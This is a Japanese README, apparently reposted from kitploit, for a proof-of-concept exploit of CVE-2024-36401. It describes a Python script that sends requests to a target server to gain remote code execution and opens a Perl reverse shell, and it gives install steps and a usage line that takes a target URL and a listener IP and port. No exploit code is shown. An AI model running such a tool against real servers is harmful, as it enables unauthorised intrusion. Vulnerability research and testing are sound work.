CVE-2024-36401-PoC

このリポジトリには、CVE-2024-36401 の概念実証 (PoC) スクリプトが含まれています。この脆弱性を悪用すると、標的サーバー上でリモートコード実行が可能になります。

特徴

• Perl を使用してリバースシェルリスナーを設定します。
• Base64 を使用してコマンドをエンコードします。
• 脆弱性を悪用するために標的サーバーにリクエストを送信します。
• シグナル処理により割り込みを適切に処理します。

前提条件

• Python 3.x
• requests ライブラリ

インストール

1. このリポジトリをクローンします:

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2024-36401-PoC.git
   cd CVE-2024-36401-PoC
   

2. 必要な Python ライブラリをインストールします:

   root@kitploit:~

   pip install requests
   

3. type_names.txt が rev.py と同じディレクトリにあることを確認します。

使用方法

python3 rev.py -u <target_url> -i <listener_ip> -p <listener_port>